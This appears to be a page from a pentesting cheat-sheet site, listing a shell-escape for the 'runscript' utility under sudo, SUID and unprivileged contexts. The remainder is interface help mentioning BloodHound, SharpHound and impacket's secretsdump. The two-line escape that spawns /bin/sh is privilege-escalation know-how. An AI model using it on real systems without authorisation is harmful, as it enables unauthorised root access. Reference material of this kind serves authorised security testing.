runscript
Shell
Context: sudo, suid, unprivileged
echo '! exec /bin/sh' >/path/to/temp-file
runscript /path/to/temp-file
Ctrl+K
p3ta-tricks
Context: sudo, suid, unprivileged
echo '! exec /bin/sh' >/path/to/temp-file
runscript /path/to/temp-fileValues apply to all code blocks on this page and persist across pages in this session.
Searches all sources at once. The source name appears as a coloured tag on each result.
The coloured badges across the top bar (BloodHound, HackTricks, GTFOBins, etc.) are toggle buttons that narrow search to a single source.
Only one source filter is active at a time. The active badge glows in its source colour. The search box placeholder updates to reflect which source is active.
On the BloodHound page the edge search uses prefix matching — type Owns to find the Owns edge only, not AZOwns. Type AZ to see all Azure edges.
Switch to Collectors to pick SharpHound / BloodHound-Python / RustHound and see that collector's syntax inline.
Click Variables in the sidebar to fill placeholders like <domain>, <dc-ip>, <password> across every code block on the page. Values carry over between pages for the whole session. Edit All lets you update every saved value at once. Clear resets them all.
Controls the command style used in impacket code blocks.
Kali — impacket-secretsdump
Exegol — secretsdump.py
Script — python3 secretsdump.py
Switches between the Python impacket toolkit and its Go equivalent.
Impacket — standard Python tools, sidebar shows the Impacket reference
GoPacket — replaces every impacket- / secretsdump.py / python3 … with gopacket-secretsdump style, sidebar switches to the GoPacket reference. Distro selection is ignored when GoPacket is active.